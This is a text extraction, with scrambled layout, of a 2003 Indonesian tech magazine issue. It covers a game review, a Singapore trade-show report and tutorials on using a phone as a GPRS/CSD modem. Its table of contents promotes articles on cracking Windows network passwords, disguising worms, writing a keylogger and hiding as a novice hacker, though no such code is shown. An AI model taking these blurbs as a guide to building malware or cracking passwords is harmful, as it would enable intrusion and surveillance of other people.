P. 1
Neotek Vol. III - No. 12

Neotek Vol. III - No. 12

|Views: 943|Likes:
Published by MA Rody Candera
NeoTek Magazine about Computer and Internet
NeoTek Magazine about Computer and Internet

More info:

Published by: MA Rody Candera on Mar 31, 2010
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

12/21/2012

pdf

text

original

NeoSoft

‘Belajar’ Anti-sosial
Balas Dendam terhadap Musuh Bebuyutan di Sebelah Rumah Pentium II 300MHz, 164MB RAM, 8MB Video RAM, DirectX 8.1

Neighb ours from Hell

angan anggap kelakuan anti-sosial seperti yang digambarkan dalam game aneh Nieghbours from Hell ini tidak ada. Sebaliknya, tetangga yang menyebalkan selalu ada, tetapi apakah anda berani benar-benar mensabotase tetangga itu, mulai dari merusak fotonya, menempatkan kelereng agar ia terpeleset, sampai mengganti lilin ulang tahunnya dengan mercon?

J

Dendam terobati, tanpa harus berurusan dengan dengan ketua RT atau bahkan polisi untuk tindakan anti-sosial anda. Masalah tetangga yang menyebalkan ternyata merupakan fenomena universal, terlihat dari adanya e-book khusus yang merupakan manual mengenai bagaimana menjadi tetangga yang buruk: http://www.nfh.org.uk/humour/NFH_Manual/index.php Oops... Jangan terlalu dianggap serius. Semua ini hanya humor. Dan... penyaluran gejolak agresif anda dengan aman.
http://www.jowood.com

Mungkin tidak, dan anda hanya bisa mengelus dada atau malah menyerah dan pindah rumah. Kalau anda tidak berani berkonfrontasi sungguhan dengan tetangga anda yang menyebalkan, mainkan saja game ini untuk pelampiasan dendam anda.

(18.56 Mbyte)

HomePage

amkm
anda meminta kami mendownload
Software gratis di Internet?
Tapi besarnya... 50Mb... 200Mb?

Salam!
Handphone sebagai Modem untuk Laptop maupun PDA

sa—gajah
Kami dapat mendownloadkannya untuk anda.
Kirimkan email ke: kosasih@indo.net.id dengan:

sa—elephant

• Di manapun berada, anda dapat tetap dapat menerima dan mengirim email, maupun mem-browse web menggunakan laptop maupun PDA. Semua itu dimungkinkan karena adanya komunikasi data CSD atau GPRS pada handphone.

enerima dan mengirim e-mail sewaktu dalam perjalanan sudah sangat mungkin. Yang anda perlukan hanyalah handphone yang mendukung komunikasi data (yang mampu WAP browsing) serta laptop atau PDA. Kecepatan koneksi bisa sekedar 9600 bps (koneksi CSD) atau sampai 57600 bps (untuk koneksi GPRS). Sudah cukup nyaman bahkan untuk web

M

• Subject: amkm • Isi pesan: Mohon download-kan [nama software] dari [www.blablabla.com]

Redaksi redaksi@neotek.co.id

Bagaimana menghubungi N EOTEK?
KONTRIBUSI ARTIKEL
redaksi@neotek.co.id

ADMINISTRASI IKLAN
Tel. 021-5481457 Tel. 021-5481457

SURAT PEMBACA WEBMASTER

Fax. 021-5329041

support@neotek.co.id webmaster@neotek.co.id

SIRKULASI NEOTEK ALAMAT REDAKSI
4 Cairnhill Rise #05-01 The Cairnhill Singapore 229740 Telp. +65-67386482 kosasih@indo.net.id

PEMASARAN
#neoteker

pemasaran@neotek.co.id

CHATROOM DI DALNET MILIS PARA NEOTEKER

http://groups.yahoo.com/group/majalahneotek

Sep/Okt 2003 NeoTek

1

Daftar Isi

Daftar Isi
FOKUS BULAN INI

NeoTek Vol. I I I No. 12
NeoStyle
12
Encoding dengan TEMPGenc
Mengkonversi file .DAT dari video CD menjadi file MPEG-1 atau MPEG-2 sebagai persiapan melakukan video editing.

Handphone sebagai Modem untuk Mengakses Internet

14

Hypercam c. 1.71.00 untuk e-Tutor

NeoStart
6
Komunikasi Data lewat Ponsel
Asalkan ponsel anda sudah dapat mengakses WAP, maka artinya daoat dijadikan modem untuk laptop. Adapun operator selulernya mungkin menyediakan komunikasi data lewat CSD, HSCSD, ataupun GPRS. Tidak lama lagi komunikasi data broadband pun akan sampai untuk ponsel.

8

Internet Lewat HP: CSD

Para guru atau trainer dapat membuat bahan pengajaran interaktif sendiri dengan cepat dan mudah.

Ponsel model lawas, asalkan sudah mendukung WAP (seperti Nokia 3330, 8210, 8250) sudah bisa digunakann sebagai modem untuk laptop dengan koneksi CSD.

16 Media Encoder Stream Membajak Audio
Media Encoder dapat ‘disalahgunakan’ untuk membajak audio/video stream menjadi file. Solusi yang justru datang dari Microsoft.

10

Internet Lewat HP: GPRS

Memang baru IM3 dan Telkomsel yang menyediakan layanan GPRS yang dapat digunakan untuk koneksi Internet yang lumayan cepat, 57600 kbps.

NeoTekno
18
PC Security Satpam Komputer Anda
Tool untuk local protection, khususnya untuk PC yang dipakai untuk umum seperti di warnet. Diperkenalkan juga opsi yang full version: WinLock 3.2

Situs NeoTek
Link Langsung
Kunjungi situs-situs yang dibahas di majalah NeoTek dengan sekali klik lewat situs NeoTek.

www.neotek.co.id neotek.kpone.com.sg

Jadikan situs NeoTek sebagai pangkalan Anda berselancar

Layanan Rupa-rupa NeoTek
Channel #neoteker di Dalnet Ngobrol ramai-ramai sesama NeoTeker Web Chat Room Kini tidak usah jauh-jauh untuk ngobrol langsung dengan sesama NeoTeker Mailing List Ini yang paling ramai. Segera ikutan berbagi pengalaman berinternet! NeoTeker Official Portal http://www.neoteker.or.id Situs komunikasi antar Neoteker. Neoteker Internet Radio http://dj.neoteker.or.id:8000

22

Password Cracking Network Neighbourhood

NeoTek versi PDF

Kembali membahas kerawanan Windows network yang mengaktifkan Port 139. Kali ini memperkenalkan PQwak dan Internet Maniac

Kehabisan NeoTek di kota Anda? Dapatkan saja versi PDF-nya. Gratis!

24

Download

Menjajal Kemampuan Pemicro WinIDE

Tersedia juga download di situs NeoTek selain dari situs aslinya

Tool untuk assembly language Motorola HC08 yang berjalan pada Windows. Mencakup Text Editor, Assembler, InCircuit Simulator, Programmer, dan InCircuit Debugger.

2

NeoTek Sep/Okt 2003

Daftar Isi

NeoTutor
Ingin berkiprah di Internet tanpa diketahui orang? Gunakan anonymous proxy yang menyembunyikan identitas anda sebagai hacker pemula.

34

Mengapa Worm Berekstensi Ganda?

28 30 32

Anonymous Proxy

Suatu studi kasus mengenai cara worm berkamuflase, lengkap dengan contoh mengkamuflase sendiri program buatan kita.

NeoSoft
0
Neighbours from Hell
Siapa bilang ‘tetangga setan’ tidak ada dalam kenyataan sehari-hari?

36 38

Bukan Hanya Worm Memperkecil File

Keylogger v. 2.0

Kelanjutan C++ programming tip tentang srv32.exe dan srv32.dll yang merupakan keylogger buatan sendiri.

Ukuran file yang kecil penting bagi pembuat virus, worm, malicious code, ataupun program ‘baik-baik.’

NeoProfil
3
Editorial Office
4 Cairnhill Rise #05-01 The Cairnhill Singapore 229740 Telp. +65-67386482

Winhex untuk Mengoprek Software

GuestBoook v. 1.0 GratisWare

Lengkapi situs anda dengan GuestBook yang fleksibel, dinamis, dan interaktif ini tanpa harus berkorban dengan adanya iklan (pada GuestBook jadi yang ‘gratis’) ataupun bersusah payah membuatnya sendiri (sebab source code sudah disediakan) oleh rekan kita sesama neoteker.

Memperkenalkan cara mengakses file .EXE langsung ke kode heksadesimalnya dan melakukan perubahan terhadap file itu menggunakan Winhex.

Business Office
Gedung Cahaya Palmerah 503 Jl. Palmerah Utara III No. 9 Jakarta 11480 Telp. 021-5481457 Fax. 021-5329041

40 46

Visual Basic Workshop Program Penggoda

Selain membahas penyamaran worm, dibahas pula membuat program sendiri yang menggoda agar dijalankan.

Pemimpin Umum
Fachri Said

NeoReview
45
Memilih Video Capture Box
Ingin mengubah koleksi video analog menjadi digital? Gunakan video capture box yang bisa juga menangkap siaran televisi menjadi file video untuk kemudian di-burn sebagai VCD atau DVD.

Video Capture dengan ATI-TV Wonder

Pemimpin Redaksi
Kosasih Iskandarsjah

Video capture ‘murah-meriah’ yang dapat dengan mudah mengkonversi video analog ataupun siaran TV menjadi video file.

Redaktur Ahli
Onno W. Purbo Michael S. Sunggiardi

Pemimpin Usaha
Fahmi Oemar Dadang Krisdayadi

47

Ekspor ke CD, DVD, atau DV Camcorder

Walaupun menggunakan video capture yang ‘murah-meriah’ untuk konversinya gunakan Ulead VideoStudio 6.

Redaktur Pelaksana
Gianto Widianto

Sekretaris Redaksi
Marni

NeoRagam

NeoTek Okt/Des 2003 PC Security Update 2003
Sudah banyak perkembangan hacking dan security semenjak dibahas NeoTek dalam seminar Agustus 2002 di Semarang. Selain semakin populernya wireless LAN, juga semakin ganasnya worm.

Webmaster
Supriyanto

4 5
Inbox

Klak Klik Neighbours from Hell Laporan dari Comex 2003 Pameran Komputer & Kamera Musik pada Handphone 3G di Singapore Powerline Network LAN Jaringan listrik Memori Makin Besar dan Murah NmN Neoteker menjawab Neoteker Daftar Isi CD NeoTek Analog Video Capture dan HP sebagai Modem

Sirkulasi
Hedhi Sabaruddin, Denny

Adm. Langganan
Krisnadhi Distributor

Iklan dan Promosi
Gianto Widianto

C di Neo D Tek

Ada

Infra Merah dan Bluetooth
Benarkah bahwa dengan semakin populernya Bluetooth berarti infra merah di ambang kepunahan seperti halnya floppy disk?

Keuangan
Aswan Bakri

44 48

Bank
Bank BNI a.n. PT NeoTek Maju Mandiri No. rekening 070.001709720.001 Bank BCA Matraman
(khusus untuk langganan)

PAL KeyLog Pro (full version) pada dasarnya subbagian dari PAL PC Spy dan merupakan keylogger dan kontrol URL.

a.n. Boedi Krishnadi No. rekening 342-239-1611

Sep/Okt 2003 NeoTek

3

NeoRagam

Klak Klik
GAME BULAN INI
Neighbours from Hell 18,56 MB

LAPORAN DARI COMEX 2003, SUNTEC EXHIBITION HALL 4, SINGAPORE

Pameran Komputer dan Kamera
ang jelas sekali terlihat dalam COMEX 2003 kali ini adalah banyaknya stand yang tidak menjual komputer, melainkan kamera digital, baik itu still ataupun video camera. Bahkan stand yang memajang komputer pun memberikan perhatian khusus untuk produk-produk periferal dan yang paling jelas adalah yang berhubungan dengan imaging seperti graphics card, LCD monitor, video editing hardware dan/ atau software. Kemana Desktop-nya? Sudah tidak ada ‘gigitan’ lagi pada komputer desktop yang dipamerkan. Komputer desktop terlihat mulai kadaluwarsa dan kini laptop semakin murah dan powerful lengkap dengan nVidia card untuk gaming. Desktop replacement yang dipelopori oleh ECS dengan Desknote-nya kini diikuti puka oleh Acer dengan Aspire 1703 serta Compaq dengan Desknote 800. Compaq Desknote dengan prosesor Pentium 4 2,4 GHz, 256 DDR RAM, 40 Gbyte hard disk, 15” TFT

Y

Belajar bertetangga yang buruk. Itulah game dari JoWooD Productions. Anda mempunyai tetangga yang menyebalkan dan kini giliran anda mengganggu tetangga itu dengan cara yang paling gila-gilaan. Sebagai bintang dari suatu acara TV, kegiatan nakal anda direkam dan ditayangkan dalam acara tersebut. Jadi carilah cara-cara paling kreatif untuk mengganggu tetangga yang tidak menyangka kalau dirinya sedang diincar. Tapi awas! Kalau ketahuan oleh tetangga yang menyebalkan itu atau anjingnya, anda bisa habis babak-belur.

Pentium II 300, RAM64

display, DVD/CD-RW combo drive, serta floppy, modem, dan Windows XP Home preloaded ditawarkan dengan harga SGD1399. Dan 150 buah habis terjual dalam waktu setengah hari. Acer Aspire 1703 terlihat berbeda dengan 17” TFT display. Prosesor yang digunakan Pentium 4 2,6 GHz, 156 DDR RAM, 80 Gbyte hard disk, DVD/CD-RW combo drive, serta modem, lAN, dan Windows XP Home Edition, ditawarkan dengan harga SGD2488. Masih bisa ditawar, katanya. Kemana Pocket PC-nya? Yang juga mulai dianggap biasa oleh orang adalah Pocket PC ataupun Palm OS device. Tidak ada yang istimewa di sini kecuali harganya yang semakin turun. Pocket PC dengan prosesor di bawah 400 MHz kini semakin murah. NEC MobilePro 330E ditawarkan di Sim Lim Square dengan harga SGD399, kini Acer n10 handheld ditawarkan dengan harga SGD469. Kecuali Toshiba Pocket PC e750 dengan prosesor 400 MHz serta integrated wi-fi,

tidak ada lagi produk Pocket PC yang menarik perhatian, kecuali mungkin range DigiWalker Mio dari Mitac. Graphics Card Yang terlihat menguasai pemandangan adalah graphics card. Graphics card harganya sangat bervariasi dari hanya SGD70 sampai SGD1079 (nVidia FX5900). Laptop Semakin Murah Kabar terakhir adalah semakin banyak produsen laptop di Taiwan yang semakin tidak tertarik memproduksi laptop dan banting setir menjadi produsen monitor dan televisi. Laptop memang semakin murah dan membeli laptop bekas kini bukan lagi pilihan yang menarik. Toshiba Satellite A10-S101 dengan Celeron 1,8 GHz, 256 Mbyte RAM, 20 Gbyte hard disk. dan CD ROM drive harganya SGD1649. Asus L2E 18CD dengan Pentium 4 1,8 GHz, 128 Mbyte RAM, 20 Gbyte hard disk, dan CD ROM SGD1799. Dengan kurs Rp5500/SGD harga laptop entry level kini hanya sekitar Rp 8 juta.

Musik pada Handphone
okia baru saja meluncurkan music phone Nokia 3300 dengan ‘real tune’ dan tidak lama lagi Philips akan meluncurkan Music DJ pada handphone Philips 530. Keduanya menyertakan FM radio. Hal ini adalah kelanjutan dari kecenderungan konvergensi antara teknologi telepon seluler, kamera digital, music player, PDA, dan entah apa lagi. Nokia 3300 benar-benar suatu music phone yang dapat memainkan file MP3 dan AAC. Untuk itu Nokia 3300 dilengkapi dengan memory card 64 Mbyte, cukup untuk sekitar 20 lagu. Untuk data handphone dan WAP browsing masih tersedia memory internal 4,5 Mbyte. Cukup besar dibandingkan dengan Nokia 3650 (3 Mbyte) atau Sony Ericsson T610 (2 Mbyte).

N

Nokia 3300 juga berfungsi sebagai audio recorder dari FM radio atau lewat port line-in yang disediakan pada handphone ini. Fungsi SMS, MMS, Java games menjadi standard pada music phone dual band ini. Sayang tidak ada jack audio-out. Nokia 3300 masih seperti Series 60 hanya mendukung 4096 warna (12 bit), berbeda dengan Philips 530 yang sudah mendukung 65.536 warna (16 bit) seperti kebanyakan handphone keluaran Korea atau Jepang. Philips 530 bukanlah music phone sebenarnya melainkan advanced ringtone composer yang bisa dilengkapi dengan kamera (opsional).

Apabila Nokia 3300 harganya sekitar SGD800 maka Philips 530 sekitar SGD500.

3G di Singapore
Singtel akan meluncurkan layanan 3G mulai Desember 2003 dan untuk itu akan dipilih 100 orang untuk uji coba yang akan mendapatkan handphone 3G gratis atau disubsidi, yang kalau harus membeli sendiri harganya SGD1000. Selama tiga bulan peserta uji coba harus membuat laporan seminggu sekali mengenai pemakaian handphone 3G-nya. Layanan 3G Singnet akan menggunakan W-CDMA dengan kecepatan transfer 384 kbps. Di Indonesia, Telkom Flexy pada dasarnya adalah fasilitas CDMA yang justru tidak dipasarkan sebagai handphone.

4

NeoTek Sep/Okt 2003

NeoRagam
LAPORAN DARI COMEX 2003, SUNTEC EXHIBITION HALL 4, SINGAPORE

Powerline Network: Jaringan Listrik sebagai LAN
alau hanya dalam lingkungan rumah sendiri, jaringan listrik sudah bisa dijadikan wire tersendiri untuk LAN anda. Yang anda perlukan adalah mencolokkan powerline router pada sembarang colokan listrik di rumah anda, dan jaringan listrik dalam radius 1000 meter dari colokkan itu sudah merupakan LAN tersendiri. Powerline router ini kemudian dihubungkan ke cable modem atau ADSL broadband modem dan tanpa harus memasang kabel ke mana-mana, seluruh rumah anda sudah wired sebagai suatu LAN. Pada colokkan listrik lain dalam radius itu anda tinggal mencolokkan USB adapter (untuk menghubungkan laptop), ethernet bridge (untuk desktop atau server), atau wireless Access Point untuk memperluas lagi powerline LAN ini dengan wireless LAN (wi-fi). Spesifikasi Teknis Powerline router dirancang untuk digunakan dalam listrik 3-fase (220 volt) yang umum di rumah-rumah. Powerline router hanya menggunakan daya 5 watt sehingga tidak mengganggu pemakaian listrik dan tidak membahayakan jaringan listrik itu sendiri (tidak usah khawatir konslet). Jangkauan dan Keamanan Karena powerline network ini mempunyai jangkauan 1000 meter di da-

K

lam lingkungan jaringan listrik dalam gardu yang sama, maka satu router dapat digunakan bersamasama dalam satu kompeks perumahan/satu RT. Trafo pada gardu listrik akan mencegah data keluar dari lingkungan gardu, sehingga data anda aman dan tidak akan jalan-jalan sampai ke luar kompleks. Sebenarnya prinsip dasar ini juga yang membuat koneksi Internet melalui jaringan listrik (Icon dari PLN kalau di Indonesia) menjadi mahal kalau diterapkan sebab pada setiap gardu harus dipasangkan router sendiri-sendiri. Dalam rumah anda sendiri anda perlu menerapkan enkripsi (disediakan DES 56-bit encryption) agar data anda tidak dibaca oleh tetangga yang juga menggunakan produk powerline (kecuali memang kalau memang ingin membuat RT/RW-net dengan cara ini). Produknya Produk utama di sini adalah powerline router PlugLink PL9920-BBR yang dijual dengan harga SGD228.

Adapun untuk koneksi ke komputer: PlugLink PL9720 (USB adapter) SGD139 PlugLink PL9630-ETH (Ethernet bridge) SGD139 PlugLink PL9520-WAP (Wireless AP) SGD242 Produk Powerline Network dapat diperoleh dari TechWerkz Pte. Ltd., 568 Macpherson Rd. #01-01, Singapore 368236. Email: batchelor@techwerkz.com.sg. Informasi lebih lanjut dapat diperoleh di: http://www.techwerkz.com.sg/

Memori Makin Besar dan Murah
alah satu ‘atraksi’ di Comex 2003 adalah orang antri untuk mendapatkan penawaran souvenir, antri untuk bisa membeli iPAQ separuh harga, serta antri membeli CF card dan SD memory card. Betapa tidak, TwinMOS memasang pagu harga baru untuk CF dan SD memory card yang hampir separuh harga dari merk-merk lain yang lebih awal ada di pasar. Berikut adalah daftar harga yang memancing antrian panjang itu: Memory CF Card SD Card 64 Mbyte SGD39 SGD48 128 Mbyte SGD56 SGD90 256 Mbyte SGD102 SGD142 512 Mbyte SGD199 SGD450 1 Gbyte SGD426 — Perlu CF card yang lebih besar lagi? Magicstore dari Mobilestor Pte Ltd menyajikan CF card Type II dengan kapasitas 2,2 Gbyte dengan harga SGD379 dengan bonus (boleh pilih) USB connector atau PCMCIA connector.

S

Malah untuk pameran tahun depan sudah dipameran CF card Type II dengan kapasitas 4,8 Gbyte. Informasi lebih lanjut: TwinMOS Technologies (S) Pte Ltd 175 Bencoolen Street #05-09/10/11 Burlington Square, Singapore 189650 Telp. +65-63377818, Fax: +65-63349588 Website: www.twinmos.com.sg Mobilestor Pte Ltd 10 Ubi Crescent, Lobby B #03-12, Ubi Techpark, Singapore 408564 Telp. +65-67437173, Fax: +65-67436531 Website: www.mobilestor.com.sg

Sep/Okt 2003 NeoTek

5

NeoStart

CSD, HSCSD, GPRS, dan G3
Semua operator seluler di Indonesia kini sudah menyediakan fasilitas WAP yang merupakan komunikasi data baik melalui CSD maupun GPRS. Dengan demikian, apapun operator seluler anda, anda sudah bisa menggunakan handphone sebagai modem untuk komputer.
WAP oleh para operator telepon seluler, mulai saat itu juga akses Internet lewat ponsel sudah dimungkinkan. Bukankah mengakses situs WAP melalui ponsel pada dasarnya adalah mengakses Internet? Namun demikian yang lebih banyak dipromosikan adalah aneka layanan berbasis WAP (Wireless Application Protocol), mulai dari berita, ramalan cuaca, nilai harga saham, sampai petunjuk belanja.

KO M U N I K AS I DATA LEWAT PO N S E L

S

EBENARNYA SEMENJAK DIPERKENALKANNYA LAYANAN

Komunikasi Data G2
Pada masa-masa awal ini digunakan komunikasi data yang C dikenal sebagai CSD (Circuit Switched Data) dengan kecepatan hanya 9600 bps. Tidak heran apabila diperlukan WAP yang serba ringkas (termasuk grafiknya, WBMP, yang hanya dua bit; hitam dan putih), mengingat keterbatasan bandwidth. Mulai saat itu juga SMS (Short Messaging Service) secara tidak terduga menjadi sangat populer, sampai-sampai para orang tua di seluruh dunia mengkhawatirkan ‘rusaknya’ bahasa anak-anak mereka dengan begitu populernya ‘Bahasa SMS.’ Hal ini terjadi baik untuk Bahasa Indonesia, Bahasa Inggris, maupun bahasa-bahasa lain. Akses email maupun mengirim email juga dimungkinkan menggunakan WAP serta komunikasi data CSD ini. Itulah komunikasi data yang dapat diberikan oleh sistem telepon seluler generasi kedua (G2)

yang disediakan. Pada umumnya layanan telepon suara, CSD, dan HSCSD ditagih berdasarkan lamanya pembicaraan, sedangkan GPRS berdasarkan besarnya byte yang di-download. Sekarang ini layanan GPRS baru disediakan oleh IM3 dan Telkomsel, sedangkan Satelindo baru untuk wilayah Medan dan Batam. Excelcom belum menyediakan layanan GPRS. Sejalan dengan dipopulerkannya GPRS yang lebih gencar dipromosikan ke khalayak ramai adalah MMS (Multimedia Messaging System). Memang orang awam lebih mudah memahami MMS dibandingkan akses Internet lewat laptop atau PDA. Seperti juga dulu orang awam lebih mudah memahami SMS dibandingkan memahami cara mengakses situs WAP ataupun email melalui ponsel. MMS dengan demikian hanya bisa dikirim dan diterima pada ponsel yang operatornya juga menyediakan layanan GPRS. Anda tidak bisa mengirim MMS dari ponsel IM3 ke Exelcom, misalnya.

Komunikasi Data G3
Pelopor penggunaan teknologi telepon seluler generasi ketiga justru bukan negara-negara barat, melainkan Jepang dan Korea. Tidak heran apabila ponsel 3G paling banyak berasal dari kedua negara itu. Berbeda dengan G2 dan G2.5 yang didominasi oleh teknologi GSM, G3 diEropa, Jepang, dan Korea menggunakan C teknologi CDMA (Code Division Multiple Access). Eropa W dan Jepang menggunakan W-CDMA (Wideband-CDMA) dengan kecepatan 384K bps, sedangkan Korea menggunakan CDMA2000 1x dari Qualcomm (kecepatan transfer data 144K bps). Teknologi GSM sendiri sedang dikembangkan menjadi 3GSM dengan memanfaatkan interface W-CDMA. Sebelum mencapai 3GSM, evolusi GSM akan melewati dulu E teknologi yang disebut EDGE (Enhanced Datarate for GSM Evolution). Jadi GSM sudah dan akan berevolusi menjadi GPRS, EDGE, dan akhirnya 3GSM.

Komunikasi Data G2.5
Baru kemudian setelah para operator telepon seluler (dimulai oleh Indosat M3 dan kemudian Telkomsel) memG perkenalkan layanan GPRS (General Packet Radio Service), barulah akses Internet (web) mulai banyak dikenal orang. Ini dikarenakan GPRS memungkinkan transfer data yang lebih cepat, yaitu 14400 bps. Memang 14400 bps tidak terlalu lebih cepat dibandingkan dengan CSD yang 9600 bps, tetapi GPRS memungkinkan transfer data dengan multiple slot. Sekarang ini ponsel yang mutakhir sudah menggunakan GPRS Class 8 dengan 4 slot downlink dan 1 slot uplink. Artinya uplink tetap 14400 bps, tetapi downlink sudah mencapai 57600 bps. Sudah cukup nyaman untuk web browsing (bukan sekedar WAP browsing). Sejalan dengan diperkenalkannya GPRS sebenarnya CSD juga mengalami kemajuan dengan diperkenalkannya High Speed CSD yang HSCSD Class 2 menggunakan 2 slot downlink dan 1 slot uplink (2+1) yang artinya downlink bisa dengan kecepatan 19200 bps. Semua operator ponsel kini menyediakan layanan komunikasi data CSD, tetapi tidak semua menyediakan layanan GPRS. Demikian juga sistem tarifnya yang berbeda-beda untuk setiap operator dan setiap layanan komunikasi data
6

Akses Internet dengan Laptop dan Handphone
Untuk dapat mengakses Internet dengan laptop dan handphone, yang pertama harus dipastikan bahwa handphone anda mendukung komunikasi data dan bahwa operator telepon seluler anda juga menyediakan layanan komunikasi data. Sekarang ini semua operator telepon seluler di Indonesia menyediakan layanan komunikasi data CSD, jadi SIM card apapun dapat digunakan untuk mengakses Internet. Namun demikian, perlu diingat bahwa CSD hanya menyediakan kecepatan transfer data 9600 bps dan anda akan ditagih biaya pemakaian berdasarkan lamanya akses.

NeoTek Sep/Okt 2003

NeoStart
Cara kedua adalah menggunakan layanan GPRS yang sementara hanya disediakan oleh Telkomsel (termasuk kartu Halo dan Mentari) serta IM3. Nokia D211 Kecepatan transfer GPRS tergantung jenis ponsel yang anda gunakan. Nokia 3650 dan Sony Ericsson T610, misalnya mendukung GPRS Class 8 (4+1) yang artinya mendukung kecepatan transfer data (downlink) sebesar 4 x Globetrotter 14400 bps = 57600 bps. Ponsel anda harus dapat terkoneksi dengan laptop (baik melalui port inframerah maupun kabel serial, atau sekarang dengan bluetooth) dan menjadi modem bagi laptop tersebut. Dapat juga menggunakan GSM PCMCIA card yang membuat laptop anda mempunyai GPRS modem yang permanen. Contoh GSM PCMCIA card adalah Nokia D211 dan Globetrotter. Dua-duanya dapat diperoleh di pasaran. Pada laptop anda harus di-install dulu PC Suite selain juga modem setup/modem driver. Kemudian aktifkan layanan GPRS ke operator telepon seluler anda (hanya IM3 dan Telkomsel, atau bila Satelindo hanya di Medan dan Batam). Mengaktifkannya dapat secara OTA (Over The Air) dengan cara mengirim SMS ke nomor telepon yang disediakan, atau setting sendiri secara manual. Yang di-setting pada dasarnya adalah: GPRS access point, IP address, dial-up number, user name, dan password. Setting GPRS untuk IM3 dapat dilihat di sini:
http://www.m3-access.com/m3zone/setting/gprs.asp?it=1&is=3&isc=4&ix=9

sedangkan untuk Telkomsel di sini:
http://www.telkomsel.com/content.jsp?cid=c-tech-01-gprs

Nomor Telepon yang Di-dial
Semua akses Internet lewat GPRS men-dial ke operator telepon seluler itu sendiri dengan nomor dial yang pada dasarnya adalah perintah koneksi modem, yaitu: *99***X# dengan X = 1, 2, atau 3 X adalah CID number dari layanan yang diberikan. Pada M1 (Singapore) misalnya: Layanan M1-MMS, menggunakan CID=1 Layanan Mi-World-GPRS, menggunakan CID=2 Layanan Sunsurf Mobile, menggunakan CID=3 Jadi bila mengakses Internet menggunakan layanan Sunsurf Mobile dari M1, maka nomor telepon yang didial adalah *99***3# Indosat M3 memberikan layanan GPRS dengan nomor CID=1, sehingga bila menggunakan IM3, anda harus men-dial ke nomor telepon *99***1# Demikian juga dengan Telkomsel, anda bisa menggunakan nomor telepon *99***1# selain nomor telepon tanpa menetapkan CID-nya, yaitu *99#
IM3
1 2 3 4 5 Konfigurasi pada Laptop Dial-up number *99***1# User name gprs Password im3 Server types TCP/IP Maximum speed 57600

Akses Internet lewat CSD
Setelah memastikan bahwa handphone anda mendukung komunikasi data CSD (dikenali dari handphone anda yang dapat mengakses situs WAP), maka pada handphone anda tidak ada perubahan setting apa-apa lagi. Anda tinggal mendeteksi handphone itu sebagai modem pada laptop dan membentuk koneksi Dial-up Networking yang baru menggunakan handphone tersebut. Anda mengakses Internet dengan men-dial ke ISP anda sendiri dengan nomor dial ke ISP itu, serta user name dan password dari account anda di ISP tersebut. Bila tidak mempunyai account di ISP, anda dapat menggunakan Telkomnet Instan dengan nomor dial 0809-8-9999 dan user id telkomnet@instan dan password telkom.

Telkomsel
*99# wap wap123 TCP/IP 57600

Akses Internet lewat GPRS
Berbeda dengan akses Internet lewat CSD yang men-dial nomor telepon ISP, maka pada akses Internet lewat GPRS anda menghubungkan laptop anda melalui handphone yang GPRS-enabled ke jaringan operator seluler itu sendiri. Pertama kali anda harus memastikan bahwa handphone t anda bersifat GPRS-enabled (tidak harus MMS-enabled, walaupun apabila MMS-enabled maka berarti juga GPRSenabled). Sebagai contoh Nokia 6510 adalah handphone yang GPRS-enabled walaupun tidak mendukung MMS.
IM3
1 2 3 4 5 6 7 8 9 10 11 12 13

Untuk Pengguna Unix/Linux
Khusus untuk pengguna Linux, anda dapat menggunakan kppp untuk men-dial ke operator telepon seluler menggunakan GPRS. Hal ini dibahas secara terinci oleh rekan Yosep Fery Wibowo a.k.a ferywu a.k.a exp0 yang dapat anda dibaca di sini:
http://ferywu.sysadmin.or.id/Reading/DialGPRS.txt

Telkomsel

Setting Modem GPRS pada Handphone Setting name M3-GPRS APN-Internet Homepage http://wap.indosat-m3.net http://wap.telkomsel.com GPRS access point www.indosat-m3.net internet GPRS connection when needed when needed Session mode permanent permanent Connection security off off Data bearer GPRS GPRS IP address 010.019.019.019 010.001.089.130 Authentication type normal normal Login type automatic automatic User name gprs wap Password im3 wap123 Port 9201 9201

Disini dibahas akses Internet dari komputer dengan sistem operasi OpenBSD (sejenis sistem operasi Unix) dengan menggunakan handphone dengan SIM card IM3 dan Telkomsel (kartu Simpati) dengan OpenBSD ppp, yang dapat anda modifikasi agar dapat dijalankan pada berbagai distro Linux. Sebagai kelanjutan dari artikel ini disajikan pula artikel langkah-per-langkah koneksi Internet lewat handphone, baik melalui komunikasi data CDS maupun GPRS. Dalam mengikutinya harus anda sesuaikan dengan jenis handphone anda serta operator seluler yang ands gunakan. Sep/Okt 2003 NeoTek
7

NeoStart

I NTE RN ET LEWAT H P
DIAL-UP INTERNET KE ISP LEWAT KONEKSI CSD
Siapa bilang hanya handphone yang mendukung GPRS yang dapat digunakan untuk mengakses Internet? Pada dasarnya semua handphone GSM mendukung komunikasi data untuk menjadikan handphone itu sebagai modem. Yang perlu dipastikan apakah anda sudah mengaktifkan WAP/CSD.

menyediakan fasilitas WAP, koneksi Internet lewat HP sudah dimungkinkan. Hanya masalah biaya dan kecepatan saja yang membuatnya tidak terlalu populer. Apabila HP anda bukan GPRS-enabled (misalnya Nokia 8210 yang dijadikan contoh), tetapi sudah bisa mengakses WAP site, maka sebenarnya operator posel anda sudah mengaktifkan data communication yang dikenal sebagai CSD (Circuit Switched Data) yang walaupun tidak secepat koneksi GPRS, namun tetap merupakan data communication (GSM data). Kecepatan CSD hanya 9600 bps, sedangkan HSCSD (High Speed CSD) tiga sampai em-

S

EBENARNYA SEJAK OPERATOIR PONSEL

Akses Internet lewat HP tidak harus menggunakan HP yang GPRS-enabled.

1

PC SUITE DAN MODEM SETUP
Masuk ke situs Nokia di http://www.nokia.com/nokia/ 0,8764,65,00.html lalu pilih jenis handphone anda (sebagai contoh adalah Nokia 8210) dan download PC Suite dan modem setup/ driver untuk model itu dan install di komputer anda.

2

INSTALL NEW MODEM
Pilih Start > Settings > Control Panel dan double click icon Modems untuk menampilkan jendela dialog Modems Properties. Klik tombol Adds dan pada jendela Install New Modem, pilih] Other sebagai jenis modem yang akan di-install. Klik Next.

3

DON’T DETECT MODEM
Pada jendela dialog yang menyatakan bahwa Windows akan mendeteksi modem anda, berikan tanda tick pada Don’t detect my modem; I will select from the list lalu klik Next. Akan tampil jendela dialog Install New Modem. Cari HP anda pada Nokia Mobile Phones.

7

CONFIGURE DEVICE
Klik tombol Configure untuk menampilkan Nokia 8210 Properties. Terlihat di sini bahwa Port yang digunakan adalah Virtual Infrared COM Port dan Maximum speed HP ini 19200 (bps) yang dapat anda ubah. Klik OK untuk kembali ke jendela dialog Make New Connection dan klik Next.

8

NOMOR TELEPON ISP
